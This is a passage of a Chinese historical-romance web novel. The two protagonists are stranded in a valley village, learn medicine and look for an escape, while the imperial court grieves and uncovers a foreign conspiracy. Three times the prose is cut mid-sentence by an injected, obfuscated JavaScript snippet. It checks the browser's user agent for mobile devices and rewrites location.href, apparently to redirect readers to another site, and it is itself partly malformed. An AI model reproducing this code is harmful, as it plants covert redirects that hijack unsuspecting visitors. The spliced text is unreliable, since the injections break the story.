不像现在,秦熠充满活力地站在她面前,明明是一样的身躯,却莫名地让人害羞。 见她真的生气了,秦熠赶紧把衣服穿好,然后把人捞进怀里。 不等宁玉瑶挣扎,秦熠轻声说道:“山中无岁月,也不知现在是什么日子了,你的生辰也不知道过了没。” 宁玉瑶闻言,安静地靠在他怀里,“只要我们好好的,生辰不过也没关系。 71.波澜 十一月十五日,雁京天空被厚重阴云笼罩,虽未降雪,却弥漫着压抑的气息。 今日,是太子回京之日。 涑州大营条件着实简陋,陆院正等太医抵达涑州营,将太子病情稳定下来后,便提议太子回京修养。 此事至关重要,朝中上下无人敢掉以轻心。 秦柏亲自率领三千涑州军护送太子回京,沿途各州军亦严阵以待,加强戒备,确保太子一行安全。 就这般,太子的车架一路平安无事地回到雁京城。 马车停在东宫门前,宫侍将祁晖珏抱下马车。祁晖珏便看见站在宫门口的父皇和母后,一旁姑母和弟弟也静静地等候着。 当祁晖珏的目光触及姑母的瞬间,心中顿时涌起一股难以言说的愧疚。 从涑州出发前,涑州军抓获了几名形迹可疑的刺客。一番刑讯逼供后,众人得知秦熠身中数箭,带着阿姐跳下了掖州河,至今生死未卜。如今,涑州军和诚国公依旧在掖州河畔搜寻着。 祁婧惠自然也早已得知了这个消息。她瞧见祁晖珏脸上那抹愧疚之色,心中微微一痛。 待太子被妥善安置在寝宫中后,祁婧惠抚摸着太子的脸庞,柔声说道:“珏儿,你不必如此自责。你要记住,你不仅是大宸的太子,更是瑶儿疼爱的弟弟。” 承武帝在一旁听着,心中甚是触动。他忆起登基前,他的阿姐也是这般不顾自身安危地护着他。再想起瑶儿离去前对珏儿所说的“愿大宸江山永固,河清海晏。” 承武帝眼眶微微泛红,他对祁婧惠说道:“阿姐放心,朕会下旨让涑州军继续寻找,无论多久,都要找到瑶儿。瑶儿吉人自有天相,定不会有事。” 一直在旁眼巴巴看着大人们的五皇子祁晖琅也跑了过来,说道:“姑母,阿姐说回来后要带小五去骑大老虎,阿姐从来没骗过小五,她一定会回来的。” 如今已经六岁的祁晖琅,不再是最初那个懵懂无知的小儿。他看懂了父皇和母后的担忧,也感受到了周围人压抑的情绪,但他始终坚信阿姐肯定会回来。 祁婧惠温柔地抚摸着祁晖琅的头,笑道:“对,瑶儿一定会回来陪你玩的。”她笑着看向承武帝,“到时候恐怕百兽园的管事又要来找你哭诉了。” 承武帝亦笑道:“无碍,这本就是他们的职责所在,只要孩子们开心就好。” 他们就这般谈笑着,仿佛瑶儿明日就能归来一般,谁也没有提及今日是宁玉瑶的十七岁生辰,他们都在等着她回来一起过生辰。 * 家人们对自己的思念,宁玉瑶毫不知情,此刻她正被江老抓着背药理。 江老可比陆院正和方太医他们严厉多了。当初太医们教她行医时,与哄孩子玩没什么两样。毕竟她身为郡主,她所能接触到的达官贵人若真有什么病痛,都能请太医诊治,没有什么事情需要明安郡主亲自上阵。 所以那时宁玉瑶看医经也是三天打鱼两天晒网,以至于她记混了药方,将燕雾草和宁木根放在一起给秦熠用,险些酿成大祸。 如今情况大不相同。先不说江思明本就不是惯孩子的脾性,单说他们如今正身处异国他乡,待之后离开小谷村,万一谁身上有个小病小恙,可就不一定能再遇上第二个江老了。 求人不如求己,宁玉瑶便鼓足了干劲,全身心地跟着江老学习医术。 “行了,今天就到这里。”江思明站起身,往屋内走去。 江思明知道宁玉瑶不会在此地久留,但苍荻局势复杂。在有限的时间里,他只能尽量教导她常见病症的诊治方式,至于那些疑难杂症,没有三五年无法学成,他也没有勉强。 没多久,他又出来了,宁玉瑶接过江思明递来的小竹匣,跟在他身后朝着彭舒生家走去。 彭舒生之前被秦熠揍得极惨,一开始他不知道伤到了何处,只觉得胸口疼痛难忍。疼了好些天,他甚至无法下地行走,无奈之下才来找江思明看诊,诊断后发现他断了一根肋骨,肺气受损,宣降失常,引发了喘症。 从那以后,江思明每次去给彭舒生看诊,都会把宁玉瑶带上。江思明觉得这是个不可多得的机会,宁玉瑶正好可以在彭舒生身上试针。 秦熠起初并不愿意让宁玉瑶给彭舒生诊治,但跟着去看了几次,每次都看见彭舒生被宁玉瑶扎得鬼哭狼嚎的,他也就不再吭声了。 宁玉瑶推开彭舒生的房门,刚一迈进去,便瞧见彭舒生正惊恐地盯着自己。 她俏皮地歪了歪脑袋,朝彭舒生露出一抹浅浅的微笑。 这一笑,彭舒生仿佛受到了极大的刺激,崩溃地朝江老大声呼喊:“江老祖,求求您了,您还是亲自给我施针吧。” 江思明瞥了一眼面带笑意的宁玉瑶,示意她收敛一些。 宁玉瑶立刻收起脸上的笑容,神色严肃地坐在床边陈旧的木凳上,打开小竹匣,取出一根根寒光闪烁的银针。 她清楚,平日里捉弄一下彭舒生也就罢了,但在行医时,绝不能故意为难病患,要是被江老爷子发现她乱来,那拐杖定会毫不留情地落在她身上。 她端正态度,全神贯注地聆听江老的指挥,拿起银针朝彭舒生身上扎去。银针触碰到彭舒生身体的瞬间,就听彭舒生“嗷”地发出一声凄厉的惨叫。 这突如其来的叫声让宁玉瑶的手抖了一下,那根银针差点又往深处扎进去一寸。 对于一个初出茅庐的新手大夫而言,针灸并非仅靠端正态度就能做好。没有大量的练习,无法熟练掌握这门手艺。 江思明自然明白这个道理,所以他看到宁玉瑶下手没轻没重时,并未责备她,只是用拐杖在地上重重地敲了敲,大声喝道:“嚎什么嚎,就算你嚎破了天,该疼还是疼,一个大男人被几根银针扎几下就痛哭流涕的,像什么样子。” 彭舒生听到江老的训斥,只能抽噎着闭上嘴巴。他心中懊悔不已,自己当初怎么就招惹上了这对夫妻,男的凶悍,女的狠辣。尤其是这个女人,表面上一副柔弱乖巧的模样,下起手来比她男人还狠。 宁玉瑶自然注意到了彭舒生的表情,但她确实不是故意的。不过,彭舒生的反应越是激烈,她在针灸上的进步越是飞速。 此前她也在秦熠身上练过手,但效果微乎其微。且不说银针能否顺利扎进秦熠那身结实的肌肉里,就算费了好大的力气扎进去了,对秦熠来说也如同挠痒痒一般,毫无反应。她完全不知道扎的位置是否正确,还是眼前这个姓彭的更适合她练习。 等她针灸结束,针都起出来后,江思明走上前来为彭舒生把脉。 江老满意地点了点头,说道:“不错,丁丫头,你的水平越来越高了,今日这治疗效果与昨日相比好了不少。” 宁玉瑶赶忙谦虚地说道:“这都是您教导有方。” 说完,他们俩就好像完全忘记了还躺在床上疼得眼泪直流的彭舒生,径直朝门外走去。 出了房门,宁玉瑶抬眼就望见秦熠静静地站在院子当中。冬日的暖阳洒在他的肩头,给他的身影勾勒出了一道金边。 秦熠一看到江老和宁玉瑶出来,快步上前,十分自然地接过了宁玉瑶手中的竹匣。 江思明见状,轻轻哼了一声,不过就是一个小小的匣子罢了,能有多重,用得着这么巴巴地过来拿。 宁玉瑶与秦熠听到江老这意味不明的哼声,两人默契地相视一笑。然而就在这目光交汇的瞬间,宁玉瑶的眉头微微皱了起来。 她与秦熠相处多年,对他极为熟悉,一眼就看出秦熠心里藏着什么事。但此时还在外面,周围人多眼杂,她没有开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482200|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问。 等到回了自己的屋子,宁玉瑶才轻声问道:“熠哥哥,发生什么事了?” 秦熠沉默了好一会儿,并没有直接回答她的问题,反而问道:“明安,你还记得林鸿轩吗?” 听到这个记忆中的名字,宁玉瑶的脸色有些难看。那个上辈子害她国破家亡的罪魁祸首,即便这辈子她已经亲手杀了此人,报了血海深仇,但只要一提到这个人,心中依旧满是厌恶,她语气冰冷地说道:“怎么突然提起他了?” 秦熠拉着宁玉瑶坐在床边,低声道:“之前我在北穆王城的时候,曾偶然听到两个使臣在交谈。当时我并没有听懂他们说的话,这些日子我反复琢磨,现在想起来,他们说的应该是苍荻语。” 秦熠伤好后就在小谷村到处奔走,与村里的老人们相处得十分融洽。或许是因为经常和苍荻老人交流的缘故,他学习苍荻语的速度非常快,这也让他对之前听到的那些话有了新的理解。 宁玉瑶看着秦熠凝重的表情,便知道这件事肯定不简单。她没有贸然开口打断秦熠的话,只是静静地坐在那里,等着他继续往下说。 秦熠又沉默了片刻,似乎是在努力回忆当时的情景。 过了好半晌,他才继续说道:“当时北穆的文丞相似乎是激怒了那两个使臣,在文丞相离开后,他们小声嘀咕说‘北穆王当了绿毛龟,还得意什么’。我今日特意去询问了苍荻的老人,在苍荻俚语中,‘绿毛龟’是帮别人养儿子的意思。” 宁玉瑶的脸色愈发凝重起来。秦熠的记性向来很好,除了不读圣贤书,他在其他事情上的记忆力堪称出色。 她仔细思索了一会儿,开口说道:“北穆王仅有林鸿轩这一个儿子。如此看来,莫非林鸿轩并非北穆王亲生,而是来自苍荻?倘若真是这样,那苍荻方面显然是知晓其中隐情的,甚至,这所有的一切都是苍荻在幕后一手策划。” 秦熠点了点头,道:“看来这苍荻并非表面那般简单。” 宁玉瑶脑海中不由地浮现出舅舅万寿节时的情景。她忆起当时见到的苍荻睿王那副谨小慎微的模样,以及苍荻献给舅舅的寿礼。 她冷冷一笑,道:“还挺会装模作样的。” 既然苍荻有胆量让北穆王把林鸿轩当作亲生儿子来养育,那么在把林鸿轩安排进大宸这件事上,苍荻必然也费了不少心思来谋划。 秦熠接着提起了另外一件事:“此前我们在调查林鸿轩的时候,发现他掌控着两股势力。其中一股源于北穆,而另一股势力的源头我们一直未能查出。现在看来,那些人极有可能来自苍荻。林鸿轩死后,他们便消失得毫无踪迹,也不清楚最后落到了何人手中。” 宁玉瑶还是头一回听到这件事。不过,即便如今知晓了这些情况,他们也无法即刻回去调查。 秦熠看着她满面愁容的模样,柔声安慰道:“短期内应该不会生出大乱子。太子殿下遇袭后,陛下定然会下令严查,他们只能潜伏起来。这段时间我出去探寻一下有没有什么出路,等你的身体调养好了我们就出发。” 说起调养身体,宁玉瑶已经泡过十次药浴了。她清晰地感受到自己的身体正逐步好转,体力日渐充沛,同时她的饭量也在逐渐增加。 秦熠同样察觉到了这些变化,他注意到宁玉瑶的身形与往昔相比丰腴了些。正因如此,秦熠在每天外出寻觅食物时越发用心。 宁玉瑶心里也清楚,这样调养身体的机会极为难得。而且,尽管秦熠现在看上去似乎已经痊愈,但江老曾说过他气血亏损严重。 如今他们身处异国他乡,又得知苍荻并不像表面那般无害,所以必须要等到秦熠恢复到身体的全盛状态才能出发。 两位病人对视了一眼,无奈地叹了口气,有些事确实急不来,慢慢来吧。 72.亲吻 既然出去之事急不得,宁玉瑶便沉下心和江思明学医,每日再顺手给彭舒生扎针。待彭舒生痊愈时,她的针灸之术有了很大进步。 不过彭舒生能下地走路后,每次见她都会绕道。没有讨厌的人挡道,对宁玉瑶来说算是意外之喜。 秦熠依旧每天出去晃悠,掏两只兔子,打几只鸟儿,或者去河里摸几条鱼。他把这些都送去孟青涓家,请她帮忙料理。除了留足他们二人和江老的吃用,其他的都送给孟青涓当作酬谢。 田莉常跟宁玉瑶感叹,村里人都说丁丫头嫁了个好夫婿。自打易禾醒后,丁丫头不但吃穿不愁,甚至一点活儿都不用干,日子过得很滋润,连田家人也跟着沾光。她笑嘻嘻地说自己都长肉了。 不过,有人羡慕自然也有人嚼舌根。那些不中听的话,宁玉瑶懒得在意。从小到大秦熠就是这样照顾她,他们都已习惯,别人说再多,秦熠也不打算改变。 时光悠悠如白驹过隙,不知不觉间他们来到小谷村已经一个多月,宁玉瑶药浴的第一个疗程已经到了最后一次。 现在她泡完药浴已经不会像最初那般痛不欲生,仅仅只是身上有些酸软,便没再让孟青涓帮忙守着她。 宁玉瑶穿好衣服推开浴室的门,在门外守候着的秦熠立即过来抱起她。 “今天感觉怎么样?”秦熠稳稳地抱着她朝着小木屋走去,柔声问着。 宁玉瑶将头靠在他肩膀上,声音软绵绵的,“不疼了,就是泡得有些乏力。” 秦熠将她放在床上,只见她脸颊微微泛红,双眼半眯着,轻轻打了个呵欠,昏昏欲睡。他赶紧说道:“明安,先别睡,先把头发擦干,不然容易着凉。” 或许是从浴桶中出来的时候没太注意,宁玉瑶的头发上沾上不少水。她靠在秦熠怀里,双眼微闭,任由他拿帕子擦拭自己的头发。 泡过药浴的宁玉瑶皮肤红润,就像一颗熟透的果实,散发着诱人的香味。 秦熠看着乖乖靠着自己的温软身躯,擦拭着她头发的手渐渐慢了下来。 宁玉瑶有些奇怪地抬起头,四目相对,秦熠的目光炽热,他轻轻地将她鬓边那有些凌乱的发丝温柔地挽至耳后,轻声说道:“玉瑶,我心悦你。” 宁玉瑶看着秦熠的眼眸,他的眼中满是对自己的情意。她眉眼弯弯,抬起手轻抚着秦熠的嘴唇,是默许,更是一种鼓励。 秦熠不再忍耐,低下头,含住了心上人那娇艳的红唇,他的舌尖虔诚地描绘着宁玉瑶柔软的唇瓣,仿佛在对待这世间最珍贵的宝物。 宁玉瑶察觉到了他的小心翼翼,她红唇微启,像是在邀请。秦熠似乎呆愣了片刻,但下一秒,他的舌头便闯了进来,温柔又强势地勾住了她的舌头。 唇舌交缠,他们的呼吸都变得缠绵起来。 宁玉瑶腰肢一软,被秦熠轻轻压倒在床上。 他的手掌似带着火焰,一路向下,粗糙的指腹划过宁玉瑶细嫩的腰腹。刚泡过药浴的身体格外敏感,她不由自主地一阵轻颤。 强烈的感觉让宁玉瑶的脑中一片混沌,她忍不住轻轻呻吟了一声。 这声音如同一盆凉水浇在秦熠头上,他瞬间清醒过来。两人的唇瓣分开,他轻轻摩挲着宁玉瑶因情动而绯红的脸颊,深吸一口气,强行忍下自己的欲念。 秦熠坐起身,将宁玉瑶紧紧抱在怀里,吻了吻她湿润的眼眸,在她耳边轻声呢喃:“玉瑶别怕……” 他的玉瑶这般娇贵,应该在铺满锦被的华丽床榻上,而非在这偏僻山村的破旧麻布被褥中。 他舍不得。 宁玉瑶自然明白他的心意,她感受着腿边灼热的跳动,红着脸蜷缩在秦熠怀中。药浴后的疲惫让她闭上双眼,很快沉沉睡去。 翌日清晨,屋内仍旧一片昏暗。 宁玉瑶被脸上一阵轻柔的痒意弄醒,是秦熠在她脸上胡乱地亲吻着。她皱着眉头,没好气地抬手拍了他一巴掌,嘟囔道:“别闹。” 秦熠嘿嘿一笑,双手用力,将宁玉瑶往自己温暖的怀中拢了拢,仿佛要把她嵌进自己身体里。宁玉瑶使劲推了推他,没推动,便不再管他,在他怀里调整了个舒服的姿势。 此时已到深冬时节,就连一向温暖的小谷村,天气也逐渐寒冷起来。小谷村没有棉花,他们的被褥里填充的都是干草和柳絮,不太保暖。 好在秦熠的身体总是暖乎乎的,被他圈在怀里,宁玉瑶晚上睡觉就不怕被寒风吹醒。 天刚破晓,微弱的晨光从窗户缝隙透进来。秦熠轻轻抚摸着宁玉瑶柔顺的秀发,轻声说:“今日我去村子周围查看一番。” 宁玉瑶睁开双眼,抬头看着秦熠。 “我也不知道会走多远,若是今晚没回来,你也别担心。”秦熠其实不想这时出去,如果晚上赶不回来,这么薄的被褥,他的玉瑶肯定会冷。 宁玉瑶看出他的担心,主动凑上前亲了亲他的嘴角,说:“你也别担心我,昨天你不是砍了很多柴回来吗?晚上我烧个暖盆,就不会冷了。” “嗯。”秦熠应着,但一想到要把宁玉瑶独自留在这陌生的村庄,心中就不安。他絮絮叨叨嘱咐了许多事,宁玉瑶在他怀中耐心听着,轻拍他后背安抚他。 待外面鸡鸣声响起,秦熠才停下。他起身穿好衣服,仔细给宁玉瑶掖好被子,说:“这几日你先去涓姨家用膳,等我回来再打些猎物还给他们。” 说完,他悄无声息地离开了村子。 宁玉瑶躺在床上辗转反侧,难以入眠。她索性起身,拿起这些日子江老教的方子开始背诵。 小谷村有手巧的村民能用竹枝、树皮等造出粗糙草纸,这种草纸不能用毛笔书写,宁玉瑶就找来烧过的木炭在上面写字。虽字写得歪歪扭扭很是丑陋,但还能凑合着用。 她努力背诵方子,但心绪难平。无奈地叹了口气后,她把草纸收起,决定找点别的事做。 她走出房门,看到江老静静地躺在躺椅上。 江思明没睁眼,慢悠悠地问:“怎么,你在担心易小子?” 宁玉瑶抿了抿嘴唇,轻声说:“您知道啦?” 江思明轻哼一声:“老夫什么不知道。不过你们还算聪明,没把这事嚷嚷得尽人皆知。” 小谷村看似平静祥和,实则有部分人想出谷的想法已变成执念,甚至魔怔。若这些人知道秦熠他们有办法离谷,定会有人来破坏。 宁玉瑶明白这个道理,这段时间她见过好几个一提离谷就有些疯狂的人。她虽性格单纯,但知道轻重缓急,不会拿秦熠安危开玩笑。 好在江老的院子在小谷村最边缘,位置偏僻。而且天气渐冷,秦熠在村里走动少了,偶尔消失两三天也不引人注意。 等了一会儿,见宁玉瑶不说话,江思明抬眸看她,见她满脸愁容,恨铁不成钢地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493462|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念叨:“没出息!” 宁玉瑶无辜地看着他。 江思明坐起身,拿起拐杖作势要敲她,可看到她那张楚楚可怜的脸,又实在下不去手,便拄着拐杖颤颤巍巍地想站起来。 宁玉瑶连忙上前扶住他,江思明顺势在她额头轻敲一下,没好气地说:“老夫看你太闲了,过来给老夫背药理,免得你胡思乱想。” 秦熠一连消失了三天。 直到一天夜晚,半睡半醒的宁玉瑶躺在冰冷的被窝里,突然黑暗中传来一阵轻微的声响,门被打开了。 她瞬间惊醒,猛地坐起身来,刚要出声,门口的黑影轻声说道:“玉瑶,是我,别怕。” “熠哥哥。”宁玉瑶掀开被子就要下床。秦熠见状,赶紧一个箭步冲过来扶住她。 宁玉瑶紧紧地拉着他的手,仔细地打量着他,问道:“熠哥哥没有受伤吧?” “没有,我只是沿途看了看,没有遇到什么危险。”秦熠说着,摸到她冰凉的手,迅速脱下自己的外裳,将她抱进怀里,盖上被子,轻声哄道,“不早了,先睡觉,明天我们再慢慢说。” 宁玉瑶乖巧地“嗯”了一声,靠在他怀里。虽然秦熠奔波三天身上带着汗味和尘土味,但只要他在身边,她就无比安心。 第二天宁玉瑶醒来的时候,天已经大亮。这三天她睡得并不安稳,而秦熠显然比她更疲惫,往常这个时候他早该起床了,现在依旧仰天躺着,估计是劳累过度,打着轻微的鼾声,被宁玉瑶枕着的手臂却一直紧紧地揽着她。 宁玉瑶趴在他胸膛上,静静地看着他眼底的青黑和下巴上的胡茬。过了一会儿,她侧过头将耳朵贴在他胸口,听着他有力的心跳声,心渐渐平静下来,不知不觉又进入了梦乡。 再次醒来时,已经到了晌午,阳光透过窗户洒在房间里。 秦熠端着两个陶碗走了进来,问道:“明安醒了?” 宁玉瑶睡眼惺忪地坐起身,还没完全清醒。 秦熠轻轻放下碗,看着她头发乱糟糟,一脸迷糊的可爱模样,忍不住把她捞进怀里狠狠地亲了几下,把她亲得双唇嫣红,眼看要生气了才恋恋不舍地放开。 “好了,快去洗漱,午膳已经送来了。”秦熠服侍她穿好衣服,拉着她下了床。 宁玉瑶经过小方桌时,好奇地看了一眼陶碗,里面装着一些肉食,她看不出是什么动物的肉,便问道:“你去涓姨家了?” 秦熠点头道:“嗯,昨日我猎了只小野猪,今早送到涓姨那里,刚做好就送来了。” “野猪?”宁玉瑶洗漱完坐到桌边,“离这里远吗?” 秦熠将筷子递给她,说道:“不远,但是很难过去。那边应该也是地陷造成的谷底,地方很大,也有不少野兽。那块谷底四周也是悬崖,很难上去。” 宁玉瑶皱起眉头。连秦熠都说难过去,难怪小谷村里没人提起过。她担心地问:“那你没受伤吧?” 秦熠笑道:“没事,那些小玩意算什么。不过没几日就要过年了,等过了年,我再继续去找路。” 小谷村没有钦天监制定的黄历,但有自己的计时方式。虽然不知道大宸的新年是哪天,既然他们现在在小谷村,就跟着小谷村一起过年。 即便宁玉瑶想早日回大宸,但过年这种大日子,她更希望秦熠陪在身边。闻言,她开心地弯起眼睛,觉得野猪肉都香了不少。 73.过年 雁京城今年的这个年,过得极为冷清。 原本今年北穆投降,朝廷得了三千万两赔款,应大肆庆贺一番。 可谁都没料到,太子在赈灾归来的途中竟遭遇了刺客。此事震惊朝野,经过一番追查,竟发现这些刺客与大皇子的外戚谢家有着千丝万缕的联系。 前些日子,涑州军搜出几名刺客押送回京。严刑拷问之下,刺客招认自己是谢家手下。尽管谢家和宣王大喊冤枉,称这是栽赃嫁祸,皇上仍旧龙颜大怒,将谢家全族关押进大理寺地牢。 消息迅速在雁京城传开,一时间人心惶惶,百姓们私下议论纷纷。 与此同时,涑州军沿着掖州河一路搜寻到苍荻边境,诚国公甚至派人潜入苍荻境内,可依旧没有找到明安郡主。 嘉阳长公主的脸色一天比一天阴沉,整个雁京城内,没有人敢在这个时候触她的霉头。 但不论如何,年还是要过的。 除夕夜,宫中一片张灯结彩,热闹非凡。 祁婧惠嫌除夕宫宴太过闹腾,独自一人站在宫檐下。 她仰头凝望着漫天纷飞的雪花,宫檐外的树枝上堆积着厚厚的积雪,偶尔被风吹落,簌簌地洒下。寒风呼啸着穿过宫殿廊道,发出呜呜的声响。 “姑母。”一声轻唤打破寂静。 祁婧惠闻声回头,就见祁晖珏静静地站在不远处。 祁晖珏自回宫后,身体一直在慢慢恢复,过了月余,已基本痊愈,只是依旧十分消瘦。他身着杏黄色太子朝服,外披一件墨色裘衣,那墨色与他苍白的脸色相互映衬,更显孱弱。 祁婧惠转过身,为他拢了拢裘衣,柔声问:“珏儿怎么出来了?外面天寒,小心冻着。” 祁晖珏并未回答,只是仰头静静地看着祁婧惠,看着她眼中密布的血丝,抿了抿唇,轻声道:“姑母,还请多保重身体。” 祁婧惠凝视着面前与瑶儿有几分相似的面容,心中涌起一股酸楚,侧过头悄悄擦去眼角的泪水。 祁晖珏明白姑母心中的痛苦,轻声安慰道:“姑母……您放心,阿姐肯定没事的。秦都司当初带兵掉入地缝,最后都能安然无恙地从北穆王城出来。阿姐有秦都司在身旁,这一次也一定会平安的。” 祁婧惠努力挤出一丝笑容,对祁晖珏说:“珏儿说的对,瑶儿一定会平安回来的。” 此时,祁婧惠不经意地抬头,看到从宫宴中走出来透气的秦夫人。 秦夫人快步上前请安:“见过太子殿下,长公主殿下。” 祁晖珏连忙抬手虚扶起秦夫人:“秦夫人无需多礼。” 这个年,不只是长公主府不好过,秦家的日子也同样艰难。秦柏送回太子后,马上返回掖州与宁渊一同在苍荻边境苦苦搜寻两个孩子的下落,秦家现在只有女眷,全靠秦秀灵支撑着,秦老夫人和秦夫人才勉强没有倒下。 原本秦秀灵打算过完年返回定州,但现在她半步都不敢离开雁京。 祁晖珏看着眼前这两位失去儿女的母亲,不再打扰她们,转身默默地离开了。 秦夫人恭送太子后,转头看向身旁相识三十余年的好友,紧紧握住祁婧惠的手,轻声说:“殿下,您要保重身体。相信秦熠,他一定不会让我们失望的。” 祁婧惠回握住秦夫人的手,没有说话。这漫长的等待中,如果不是因为秦熠在瑶儿身旁,她或许早已失去希望。正因为有秦熠,他们才一直坚持着没有放弃。 尽管所有人都清楚身重数箭的秦熠存活下来的希望极其渺茫,但他们心中仍残存着一丝微弱的希望在继续找寻。 她们双手紧握,一同静静地望着外面漫天的风雪,祈求上苍保佑两个孩子平安无事。 * 宁静的小谷村中,宁玉瑶、秦熠与江老爷子一同在田家吃年夜饭。 桌上的菜肴,大部分都是秦熠此前在他所发现的山谷中猎来的各种野味,田家为了这顿年夜饭也特地宰了一只肥鸡,还郑重地开了一瓶自家酿的酒。 一大家子人围坐在一起,热热闹闹地吃着年夜饭。 饭桌上,男人们因为要喝酒,细酌慢饮,吃得较慢。女人们吃完后便没再管男人们,坐在院子里闲聊。 孟青涓看着宁玉瑶沉静的侧脸,略微犹豫片刻,还是轻声开口问道:“易小子应该是在寻找出去的路吧?” 宁玉瑶并不惊讶孟青涓能看穿他们的心思。毕竟两家平日里关系亲近,而且经过这么长时间的相处,她知道孟青涓是个可以信赖的人。 她应了一声,说道:“不过到现在还没有找到。” 孟青涓说道:“迟早的事,易小子是个有本事的人,这小谷村困不住你们。” 一旁的田莉却有些闷闷不乐,嘟囔着说:“外面有什么好的,为什么来了这里的人都想着要出去。” 她很喜欢玉姐姐,本以为可以一直和玉姐姐玩耍,可没想到爹娘都觉得玉姐姐不会在村子里久留。 宁玉瑶轻笑道:“外面其实也没什么特别好的,但是我的家人都在外面,他们肯定一直在寻找我,我也非常想念他们。” 一听到是因为家人的缘故,田莉就理解了,“那玉姐姐还是赶紧回去吧,虽然我真的很舍不得你,但我也知道爹娘是最重要的。” 孟青涓闻言,笑着搂着自己的闺女,轻声嘱咐道:“你玉姐姐会离开小谷村这件事可千万不要告诉别人,不然村子里有些人会使坏。” 田莉皱了皱鼻子,不满道:“娘,您就放心吧,我又不傻,我知道轻重的。” 孟青涓宠溺地点了点女儿的额头,道:“对,我的宝贝女儿最聪明了。” 她们小声地谈论着村里的家长里短,屋内突然传出一阵喊声:“媳妇儿!媳妇儿!” 宁玉瑶一下子没反应过来,孟青涓笑着说:“小易叫你呢。”宁玉瑶这才回过神,脸蛋通红,有些羞涩地赶紧起身朝屋里走去。 屋里,秦熠已经喝醉了,但他并未撒酒疯,只是一声声地呼喊着“媳妇儿。”看到宁玉瑶进来,他立刻扬起一个傻兮兮的笑脸。 宁玉瑶看着他那副模样,又好气又好笑,用手指点了点他的头,“怎么醉成这样了。” 秦熠狡辩:“没……没醉!” 屋里的人哄堂大笑,江思明很是看不上地说:“这小子酒量太浅了,你们快回去休息吧。” 宁玉瑶看着江老,有些担心地问:“那您……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508741|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这时孟青涓走进来,轻轻拍拍她的手说:“你们先回去,别担心江爷爷,待会儿大益送江爷爷。” 宁玉瑶应下,向众人告辞后,牵着歪歪斜斜站起身的秦熠往小木屋方向走去。 从田家到小木屋的这段路很僻静,四周没有其他人家,只有秦熠一直在小声念叨着含糊不清的话语。 走到一半时,秦熠突然停下脚步,宁玉瑶怎么用力拉他都纹丝不动。正准备问他怎么了,秦熠背对着她蹲了下来,傻乎乎地说:“媳妇儿,我背……背你回家。” 宁玉瑶哭笑不得,伸手拽了拽他的耳朵说:“你自己都站不稳了,还背我,不怕把我摔了?” 秦熠倔强地说:“不……不会,要是摔了,我自己垫……垫下面。” 宁玉瑶见他固执地蹲着不愿起身,只好趴到他背上。 刚搂住秦熠的脖子,秦熠就托住她的双腿,站起身撒欢般地朝着木屋跑去,“回家咯!” 皎洁的月光沿着蜿蜒的小路一路铺展,照亮了他们回家的每一步。 * 新年过后,很快便迎来了立春。 春季的小谷村忙碌了起来,田间地头,随处可见村民们辛勤耕种的身影。 曾有村民好奇地询问宁玉瑶,他们为何不种地,宁玉瑶以秦熠更爱打猎为由搪塞了过去。 如今经过精心调养,宁玉瑶的身体已基本恢复,秦熠也加快了探寻出路的速度。 秦熠已将小谷村周边区域仔细地探查了一遍,小谷村四周被悬崖环抱,仿若一座天然牢笼。村前的河流两端都是瀑布,水流湍急,根本无法从水路通行。 如此一来,他们唯有攀爬悬崖这一条出路。 这些时日,秦熠每日都在悬崖附近找寻合适的攀爬点。四周的悬崖极高,最高处可达上百丈,人在崖底仰头,根本望不到顶,最低处也有五十余丈,一旦失足摔落,定会粉身碎骨。 他尝试了许多地方,尽管他天生神力,但这悬崖着实难爬。崖壁有的光滑陡峭,找不到落脚之处;有的是松软泥土,轻轻一踩便会坍塌。 秦熠每天都带着伤回家,其中最严重的一次,他好不容易爬上十余丈,脚下的岩石却毫无征兆地碎裂了。在高空中无物可攀,他只能拼尽全力用手指死死扣住岩壁,靠着这一点阻碍来减缓掉落的速度。 当他重重摔在地上时,十根手指已被岩石划得血肉模糊。那时他心中唯一的念头便是,幸好是自己先来探路,没有让玉瑶跟着冒险。 现在,秦熠的手指被江老用特制的药粉紧紧裹住,宁玉瑶心疼不已,不让他做任何事,只让他安心养伤。 昏暗灯光下,宁玉瑶静静地趴在秦熠身旁,轻轻握着他受伤的手。她嘴唇动了动,很想说“要不算了吧,我们就留在这里。” 秦熠一眼便看出了宁玉瑶脸上的犹豫挣扎,他凑过去,轻轻吻了她一下,轻声说道:“玉瑶别怕,这次是我不小心,以后我会多加注意,我们必须回大宸。” 宁玉瑶自然也明白他们必须回去。不仅是因为家人的牵挂,更是因为他们要将苍荻在大宸设局的消息带回去。 